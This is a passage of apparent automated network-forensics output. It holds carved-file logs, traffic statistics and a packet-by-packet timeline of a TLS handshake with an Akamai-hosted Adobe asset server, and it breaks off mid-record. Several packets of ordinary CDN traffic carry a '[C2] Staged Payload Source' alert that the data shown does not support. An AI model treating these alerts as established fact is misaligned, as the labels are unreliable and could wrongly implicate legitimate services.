0a\n2026-06-14T20:03:58.367189,Tool:scalpel/mp3-9-0,Unknown,0,Unknown,0,HTTP,00000012.mp3,mp3,/tmp/tmpkanycykx/carved/scalpel/mp3-9-0/00000012.mp3,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-06-14T20:03:58.367189,Tool:scalpel/gif-3-0,Unknown,0,Unknown,0,HTTP,00000000.gif,gif,/tmp/tmpkanycykx/carved/scalpel/gif-3-0/00000000.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-06-14T20:03:58.367189,Tool:scalpel/gif-3-0,Unknown,0,Unknown,0,HTTP,00000001.gif,gif,/tmp/tmpkanycykx/carved/scalpel/gif-3-0/00000001.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-06-14T20:03:58.367189,Tool:scalpel/gif-3-0,Unknown,0,Unknown,0,HTTP,00000004.gif,gif,/tmp/tmpkanycykx/carved/scalpel/gif-3-0/00000004.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-06-14T20:03:58.367189,Tool:scalpel/gif-3-0,Unknown,0,Unknown,0,HTTP,00000003.gif,gif,/tmp/tmpkanycykx/carved/scalpel/gif-3-0/00000003.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-06-14T20:03:58.367189,Tool:scalpel/gif-3-0,Unknown,0,Unknown,0,HTTP,00000002.gif,gif,/tmp/tmpkanycykx/carved/scalpel/gif-3-0/00000002.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-06-14T20:03:58.367189,Tool:scalpel/gif-3-0,Unknown,0,Unknown,0,HTTP,00000005.gif,gif,/tmp/tmpkanycykx/carved/scalpel/gif-3-0/00000005.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-06-14T20:03:58.367189,Tool:scalpel/gif-4-0,Unknown,0,Unknown,0,HTTP,00000009.gif,gif,/tmp/tmpkanycykx/carved/scalpel/gif-4-0/00000009.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-06-14T20:03:58.367189,Tool:scalpel/gif-4-0,Unknown,0,Unknown,0,HTTP,00000011.gif,gif,/tmp/tmpkanycykx/carved/scalpel/gif-4-0/00000011.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-06-14T20:03:58.367189,Tool:scalpel/gif-4-0,Unknown,0,Unknown,0,HTTP,00000010.gif,gif,/tmp/tmpkanycykx/carved/scalpel/gif-4-0/00000010.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-06-14T20:03:58.367189,Tool:scalpel/gif-4-0,Unknown,0,Unknown,0,HTTP,00000007.gif,gif,/tmp/tmpkanycykx/carved/scalpel/gif-4-0/00000007.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-06-14T20:03:58.367189,Tool:scalpel/gif-4-0,Unknown,0,Unknown,0,HTTP,00000008.gif,gif,/tmp/tmpkanycykx/carved/scalpel/gif-4-0/00000008.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-06-14T20:03:58.367189,Tool:scalpel/gif-4-0,Unknown,0,Unknown,0,HTTP,00000006.gif,gif,/tmp/tmpkanycykx/carved/scalpel/gif-4-0/00000006.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n","network_analysis_protocols.csv":"Protocol,Packets,Bytes,Packet %,Byte %\nTCP,131,53443,100.00%,100.00%\n","network_analysis_http_graph.csv":"Timestamp,Stream ID,Source IP,Destination IP,Method,Host,URL,Referer,User-Agent\n0,4,10.152.152.11,194.36.32.209,GET,194.36.32.209,http://194.36.32.209,None,Extracted via Decryption\n","network_analysis_ports.csv":"Port,Packets,Bytes,Packet %,Byte %\n443,122,48111,46.56%,45.01%\n64005,34,13605,12.98%,12.73%\n63966,32,9696,12.21%,9.07%\n63993,30,9488,11.45%,8.88%\n63940,26,15322,9.92%,14.33%\n64008,9,5332,3.44%,4.99%\n80,9,5332,3.44%,4.99%\n","packet_forensic_timeline.csv":"Timestamp_UTC,Packet_Num,Flow_ID,Src_IP,Dst_IP,Src_Port,Dst_Port,Protocol,Src_Country,Src_City,Src_ASN,Src_AS_Org,Src_Lat,Src_Lon,Src_Network,Dst_Country,Dst_City,Dst_ASN,Dst_AS_Org,Dst_Lat,Dst_Lon,Dst_Network,TCP_Flags,DNS_Query,HTTP_Url,Protocol_Stack,Layer_Depth,Description,Packet_Content(Hex),Packet_Content,Alerts,Complete_Dissection\n2026-06-14 14:16:45.434672,1,TCP 10.152.152.11:63940 -> 2.23.89.83:443,10.152.152.11,2.23.89.83,63940,443,TCP,Internal,Private Network,,,,,,Sweden,Stockholm,16625,\"Akamai Technologies, Inc.\",59.3287,18.0717,2.23.88.0/22,S,,,Ether > IP > TCP,3,TCP S Seq=3129734994 Ack=0,bc24112907bbbc2411360d0c0800450000348a104000800672a60a98980b02175953f9c401bbba8bf752000000008002faf0c8b30000020405b40103030801010402,\".$.)...$.6\n...E..4..@...r.\n.....YS.......R........................\",[TSHARK-OBJECT] windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json%3fcacheHostOrigin=download.windowsupdate.com,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35344, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 29350, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"2.23.89.83\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63940, \"\"dport\"\": 443, \"\"seq\"\": 3129734994, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 64240, \"\"chksum\"\": 51379, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-06-14 14:16:45.434705,2,TCP 2.23.89.83:443 -> 10.152.152.11:63940,2.23.89.83,10.152.152.11,443,63940,TCP,Sweden,Stockholm,16625,\"Akamai Technologies, Inc.\",59.3287,18.0717,2.23.88.0/22,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=307422013 Ack=3129734995,bc2411360d0cbc24112907bb0800450000340000400040063cb7021759530a98980b01bbf9c41252e33dba8bf7538012faf0fe330000020405b4010104020103030a,\".$.6\n..$.)....E..4..@.@.<...YS\n........R.=...S.....3.............\n\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 15543, \"\"src\"\": \"\"2.23.89.83\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63940, \"\"seq\"\": 307422013, \"\"ack\"\": 3129734995, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 64240, \"\"chksum\"\": 65075, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 10)]\"\"}}]\"\n2026-06-14 14:16:45.434925,3,TCP 10.152.152.11:63940 -> 2.23.89.83:443,10.152.152.11,2.23.89.83,63940,443,TCP,Internal,Private Network,,,,,,Sweden,Stockholm,16625,\"Akamai Technologies, Inc.\",59.3287,18.0717,2.23.88.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=3129734995 Ack=307422014,bc24112907bbbc2411360d0c0800450000288a114000800672b10a98980b02175953f9c401bbba8bf7531252e33e50102014eec20000,\".$.)...$.6\n...E..(..@...r.\n.....YS.......S.R.>P. .....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 35345, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 29361, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"2.23.89.83\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63940, \"\"dport\"\": 443, \"\"seq\"\": 3129734995, \"\"ack\"\": 307422014, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 61122, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:45.436082,4,TCP 10.152.152.11:63940 -> 2.23.89.83:443,10.152.152.11,2.23.89.83,63940,443,TCP,Internal,Private Network,,,,,,Sweden,Stockholm,16625,\"Akamai Technologies, Inc.\",59.3287,18.0717,2.23.88.0/22,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3129734995 Ack=307422014,bc24112907bbbc2411360d0c0800450000e28a124000800671f60a98980b02175953f9c401bbba8bf7531252e33e501820145bf6000016030300b5010000b103036a2f1a3c5e8f7dae1851a5aeb6bf61fc66e16f5bbf8d140966971b486e00a43a000026c02cc02bc030c02fc024c023c028c027c00ac009c014c013009d009c003d003c0035002f000a010000620000001800160000136173736574732e61646f626564746d2e636f6d000500050100000000000a00080006001d00170018000b00020100000d001a00180804080508060401050102010403050302030202060106030023000000170000ff01000100,\".$.)...$.6\n...E.....@...q.\n.....YS.......S.R.>P. .[..............j/.<^.}..Q....a.f.o[...\tf..Hn..:..&.,.+.0./.$.#.(.'.\n.\t.........=.<.5./.\n...b.........assets.adobedtm.com..........\n.................\n.............................#...........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 226, \"\"id\"\": 35346, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 29174, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"2.23.89.83\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63940, \"\"dport\"\": 443, \"\"seq\"\": 3129734995, \"\"ack\"\": 307422014, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 23542, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 181, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSClientHello  msgtype=client_hello msglen=177 version=TLS 1.2 gmt_unix_time=Sun, 14 Jun 2026 21:16:44  (1781471804) random_bytes=5e8f7dae1851a5aeb6bf61fc66e16f5bbf8d140966971b486e00a43a sidlen=0 sid=b'' cipherslen=38 ciphers=[TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384, TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_AES_256_GCM_SHA384, TLS_RSA_WITH_AES_128_GCM_SHA256, TLS_RSA_WITH_AES_256_CBC_SHA256, TLS_RSA_WITH_AES_128_CBC_SHA256, TLS_RSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_3DES_EDE_CBC_SHA] complen=1 comp=null extlen=98 ext=[<TLS_Ext_ServerName  type=server_name len=24 servernameslen=22 servernames=[b'assets.adobedtm.com'] |>, <TLS_Ext_CSR  type=status_request len=5 stype=ocsp req=[<OCSPStatusRequest  respidlen=0 reqextlen=0 reqext=<X509_Extensions  |> |>] |>, <TLS_Ext_SupportedGroups  type=supported_groups len=8 groupslen=6 groups=[x25519, secp256r1, secp384r1] |>, <TLS_Ext_SupportedPointFormat  type=ec_point_formats len=2 ecpllen=1 ecpl=[uncompressed] |>, <TLS_Ext_SignatureAlgorithms  type=signature_algorithms len=26 sig_algs_len=24 sig_algs=[sha256+rsaepss, sha384+rsaepss, sha512+rsaepss, sha256+rsa, sha384+rsa, sha1+rsa, sha256+ecdsa, sha384+ecdsa, sha1+ecdsa, sha1+dsa, sha512+rsa, sha512+ecdsa] |>, <TLS_Ext_SessionTicket  type=session_ticket len=0 ticket=b'' |>, <TLS_Ext_ExtendedMasterSecret  type=extended_master_secret len=0 |>, <TLS_Ext_RenegotiationInfo  type=renegotiation_info len=1 reneg_conn_len=0 renegotiated_connection=b'' |>] |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:16:45.436090,5,TCP 2.23.89.83:443 -> 10.152.152.11:63940,2.23.89.83,10.152.152.11,443,63940,TCP,Sweden,Stockholm,16625,\"Akamai Technologies, Inc.\",59.3287,18.0717,2.23.88.0/22,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=307422014 Ack=3129735181,bc2411360d0cbc24112907bb080045000028eb0e4000400651b4021759530a98980b01bbf9c41252e33eba8bf80d5010003ffe270000,\".$.6\n..$.)....E..(..@.@.Q...YS\n........R.>...\nP..?.'..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 60174, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 20916, \"\"src\"\": \"\"2.23.89.83\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63940, \"\"seq\"\": 307422014, \"\"ack\"\": 3129735181, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 65063, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:45.819818,6,TCP 2.23.89.83:443 -> 10.152.152.11:63940,2.23.89.83,10.152.152.11,443,63940,TCP,Sweden,Stockholm,16625,\"Akamai Technologies, Inc.\",59.3287,18.0717,2.23.88.0/22,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS > TLS > Padding,6,TCP PA Seq=307422014 Ack=3129735181,bc2411360d0cbc24112907bb080045000d80eb0f40004006445b021759530a98980b01bbf9c41252e33eba8bf80d5018003f0b8000001603030049020000450303c97156f7f1ef97fbe4e4400c6d50b8b9aa21e4f9c026d575444f574e4752440100c02c00001dff0100010000000000000b0004030001020023000000050000001700001603030b9c0b000b98000b950006c3308206bf308205a7a0030201020210088419764d2e757b0de43f20409b0890300d06092a864886f70d01010b05003059310b300906035504061302555331153013060355040a130c446967694365727420496e63313330310603550403132a446967694365727420476c6f62616c20473220544c532052534120534841323536203230323020434131301e170d3235303632343030303030305a170d3236303732353233353935395a3068310b3009060355040613025553311330110603550408130a43616c69666f726e69613111300f0603550407130853616e204a6f736531133011060355040a130a41646f626520496e632e311c301a060355040313136173736574732e61646f626564746d2e636f6d3059301306072a8648ce3d020106082a8648ce3d030107034200044afbdf91b539759d17f2896f88c637a4f01d67ab3f8c6ec0e80849b3c05bc990e23546fd12afcc53c9c2729abab83151d3472e73534c513ba9a72463c18cce40a382043d30820439301f0603551d23041830168014748580c066c7df37decfbd2937aa031dbeedcd17301d0603551d0e041604149994c8de674b0563825cc846f0ad8df972f856ad3081cb0603551d110481c33081c082136173736574732e61646f626564746d2e636f6d821f63646e312d73746167696e672e61646f62657265736f75726365732e6e657482196173736574732e61646f62657265736f75726365732e6e657482216173736574732d73746167696e672e61646f62657265736f75726365732e6e6574821763646e312e61646f62657265736f75726365732e6e65748215636f6d6d657263652e61646f626564746d2e636f6d821a6d6167656e746f2d726563732d73646b2e61646f62652e6e6574303e0603551d20043730353033060667810c0102023029302706082b06010505070201161b687474703a2f2f7777772e64696769636572742e636f6d2f435053300e0603551d0f0101ff040403020388301d0603551d250416301406082b0601050507030106082b0601050507030230819f0603551d1f0481973081943048a046a0448642687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e63726c3048a046a0448642687474703a2f2f63726c342e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e63726c30818706082b06010505070101047b3079302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d305106082b060105050730028645687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e637274300c0603551d130101ff040230003082017e060a2b06010401d6790204020482016e0482016a0168007600d76d7d10d1a7f577c2c7e95fd700bff982c9335a65e1d0b3017317c0c8c5697700000197a356776d0000040300473045022100ba13cdb0191ff2dda7613f7abaa7a2709aad9dcb1d225f285caa90401b88d1cf02204f4cced7a52a563f96e619b5a84a3ea3265604c247ef88fe44872362f1788499007700c2317e574519a345ee7f38deb29041ebc7c2215a22bf7fd5b5ad769ad90e52cd00000197a35677990000040300483046022100ba0becbb14c6527db1b14357ed59fbcfd99c67a8921e6bc1e8cef99a99eb7b97022100dbe61c5fec37f4caebd7688dfd4867de1e0253641e958279c144db5455387384007500944e4387faecc1ef81f3192426a8186501c7d35f3802013f72677d55372e19d800000197a35677ab000004030046304402204689c9b939bc70f0eb7100247f2ebb036595e5feee06c2a0c12ad3a0cf925a090220136005146ca316af5faab6c9211868852c22a24ee42ac9374af8c78fdecf122c300d06092a864886f70d01010b050003820101009568286c9d10cf14a45fab15a703543efc1863106aa47085e985102f8dd54639c32d186b32b0b7f64002cfedc28a506bf1fa039b3f0c590a9ca8356df9e91fdea22c1de099bc120cdf06d8069913e22db60731146f9bd78bb64cfc16d39f44a66ecd281f52c3c7477a35d12c29e9ce6ddf6d80fad6cbb6ab1d9d34e1cdef10870430d94d31c40896b0c2a6e02b2b5cd822ed23dd0197e9bf07b86059e63d35ef7d802cd3bc54a2455aadbf9c0780ae0867900f72bca9cc27cbbaa1c256a351a17f7fe35f083c6b7e0baff7a1442fb528276737a6982678691b9e211720182b7c3f266f93c6c059cf6b03c0333dc9a1a6207fb5ecf1a9255ba762466f9955cdd80004cc308204c8308203b0a00302010202100cf5bd062b5602f47ab8502c23ccf066300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3231303333303030303030305a170d3331303332393233353935395a3059310b300906035504061302555331153013060355040a130c446967694365727420496e63313330310603550403132a446967694365727420476c6f62616c20473220544c53205253412053484132353620323032302043413130820122300d06092a864886f70d01010105000382010f003082010a0282010100ccf710624fa6bb636fed905256c56d277b7a12568af1f4f9d6e7e18fbd95abf260411570db1200fa270ab557385b7db2519371950e6a41945b351bfa7bfabbc5be2430fe56efc4f37d97e314f5144dcba710f216eaab22f031221161699026ba78d9971fe37d66ab75449573c8acffef5d0a8a5943e1acb23a0ff348fcd76b37c163dcde46d6db45fe7d23fd90e851071e51a35fed4946547f2c88c5f4139c97153c03e8a139dc690c32c1af16574c9447427ca2c89c7de6d44d54af4299a8c104c2779cd648e4ce11e02a8099f04370cf3f766bd14c49ab245ec20d82fd46a8ab6c93cc6252427592f89afa5e5eb2b061e51f1fb97f0998e83dfa837f4769a10203010001a38201823082017e30120603551d130101ff040830060101ff020100301d0603551d0e04160414748580c066c7df37decfbd2937aa031dbeedcd17301f0603551d230418301680144e2254201895e6e36ee60ffafab912ed06178f39300e0603551d0f0101ff040403020186301d0603551d250416301406082b0601050507030106082b06010505070302307606082b06010505070101046a3068302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304006082b060105050730028634687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63727430420603551d1f043b30393037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63726c303d0603551d2004363034300b06096086480186fd6c02013007060567810c01013008060667810c0102013008060667810c0102023008060667810c010203300d06092a864886f70d01010b0500038201010090f170cb289769977c74fdc0fa267b53abadcd65fdba9c069c8ad75a4387ed4d4c565fadc1c5b505202e59d1ff4af5a02ad8b095adc92e4a3bd7a7f66f8829fc303f2484bbc3b77b93072caf876b7633ed005552b2599ee4b9d0f3dfe70ffeddf8c4b910728109045fcf979e2e32758ecf9a58d257317e370181b2666d291ab166096dd16e90f4b9fa2f0114c55c566401d97d87a838539f8b5d466d5cc6278481d47e8c8ca39b52e7c688ec377c2afbf0555a387210d80013cf4c73dbaa3735a82981699c76bcde187b90d4cacfef6703fd045a2116b1ffea3fdfdc82f5ebf45992230d242a95254ccaa191e6d4b7ac8774b3f16da399dbf9d5bd84409f079816030301df160001db010001d7308201d30a0100a08201cc308201c806092b0601050507300101048201b9308201b530819ea2160414748580c066c7df37decfbd2937aa031dbeedcd17180f32303236303631333132303131345a307330713049300906052b0e03021a05000414a7c4b8b3dc5bb5581ea7d7f13ac569f56f48d7890414748580c066c7df37decfbd2937aa031dbeedcd170210088419764d2e757b0de43f20409b08908000180f32303236303631333131343530305aa011180f32303236303632303130343530305a300d06092a864886f70d01010b05000382010100bd203d73b36c692d09b42ee430d952933dca87d466697d1b3ef73ff517b8f011baef63926f87b315af90f2e31252b1f5c1c0f9517116f90ffa81ea54cb416d92321238cf66a90f05f7c35e2ebde34f0b827ffdbabad86893f5568ebfb6c204ac432f882dce170f0684dd30b72418ee7163c3bf8a18cfd8e8b338fddbbf02bb38a43d1bc244,\".$.6\n..$.)....E.\n...@.@.D[..YS\n........R.>...\nP..?........I...E...qV.......@.mP...!...&.uDOWNGRD...,.....................#.........................0...0.............vM.u{\n.? @...0\n.\t*.H..\n.....0Y1.0\t..U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10..\n250624000000Z.\n260725235959Z0h1.0\t..U....US1.0...U...\nCalifornia1.0...U....San Jose1.0...U.\n.\nAdobe Inc.1.0...U....assets.adobedtm.com0Y0...*.H.=....*.H.=....B..J....9u....o..7...g.?.n...I..[...5F....S..r...1Q.G.sSLQ;..$c...@...=0..90...U.#..0...t...f..7...)7.......0...U..........gK.c.\\.F....r.V.0....U.....0....assets.adobedtm.com..cdn1-staging.adoberesources.net..assets.adoberesources.net.!assets-staging.adoberesources.net..cdn1.adoberesources.net..commerce.adobedtm.com..magento-recs-sdk.adobe.net0>..U. .70503..g.....0)0'..+.........http://www.digicert.com/CPS0...U...........0...U.%..0...+.........+.......0....U.....0..0H.F.D.Bhttp://crl3.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0H.F.D.Bhttp://crl4.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0....+........{0y0$..+.....0...http://ocsp.digicert.com0Q..+.....0..Ehttp://cacerts.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crt0...U.......0.0..~.\n+.....y......n...j.h.v..m}....w..._......3Ze....s....iw.....Vwm.....G0E.!..........a?z...p.....\"\"_(\\..@..... OL...*V?.....J>.&V..G...D.#b.x...w..1~WE..E..8...A...!Z\"\".....v...R......Vw......H0F.!.......R}..CW.Y....g...k.......{..!...._.7....h..Hg...Sd...y.D.TU8s..u..NC........$&..e..._8..?rg}U7........Vw......F0D. F...9.p..q.$....e........*....Z\t. .`..l..._...!.h.,\"\".N.*.7J......,0\n.\t*.H..\n...........h(l....._....T>..c.j.p..../..F9.-.k2...@.....Pk....?.Y\n..5m.....,.............-..1.o....L....D.n.(.R..Gz5.,)..m.m........4......0.M1.......++\\.\"\".#.......`Y.=5.}.,..T.EZ.......g..r...'....V.Q...._.<k~....D/.('g7..&xi..!. .+|?&o...Y.k..3=... .....%[.bFo.U.....0...0..............+V..z.P,#..f0\n.\t*.H..\n.....0a1.0\t..U....US1.0...U.\n..DigiCert Inc1.0...U....www.digicert.com1 0...U....DigiCert Global Root G20..\n210330000000Z.\n310329235959Z0Y1.0\t..U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10..\"\"0\n.\t*.H..\n..........0..\n........bO..co..RV.m'{z.V............`A.p....'\n.W8[}.Q.q..jA.[5..{....$0.V...}.....M.......\"\".1\"\".ai.&.x....}f.uD.s....]\n.YC...:..H..k7.c..F..E.}#...Q..Q._.IFT.,.......<...9.i.2...WL.GB|...}..MT.B.....w..H....*...Cp.?vk.LI.$^.\n..F..l..bRBu....^^..a.....\t..=...Gi..........0..~0...U.......0.......0...U......t...f..7...)7.......0...U.#..0...N\"\"T ....n..........90...U...........0...U.%..0...+.........+.......0v..+........j0h0$..+.....0...http://ocsp.digicert.com0@..+.....0..4http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B..U...;0907.5.3.1http://crl3.digicert.com/DigiCertGlobalRootG2.crl0=..U. .6040..\t`.H...l..0...g....0...g.....0...g.....0...g.....0\n.\t*.H..\n............p.(.i.|t...&{S...e.......ZC..MLV_..... .Y..J..*......J;...o.).0?$....{..,..kv3..UR.Y..............r.\t._....2u...X.W1~7...fm)..f\tm.n..../...\\Vd..}..8S..]Fm\\.'...~....R....7|*..UZ8r.....Ls..75.).i.v...{.....g...Z!....?......Y.#\n$*.%L........t..m.......@................0...\n......0....\t+.....0......0...0......t...f..7...)7.........20260613120114Z0s0q0I0\t..+.............[.X....:.i.oH....t...f..7...)7............vM.u{\n.? @.......20260613114500Z....20260620104500Z0\n.\t*.H..\n........... =s.li-\t...0.R.=...fi}.>.?.......c.o........R.....Qq......T.Am.2.8.f.....^...O.......h..V......C/.-......0.$..qc........8.....8.=..D\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, 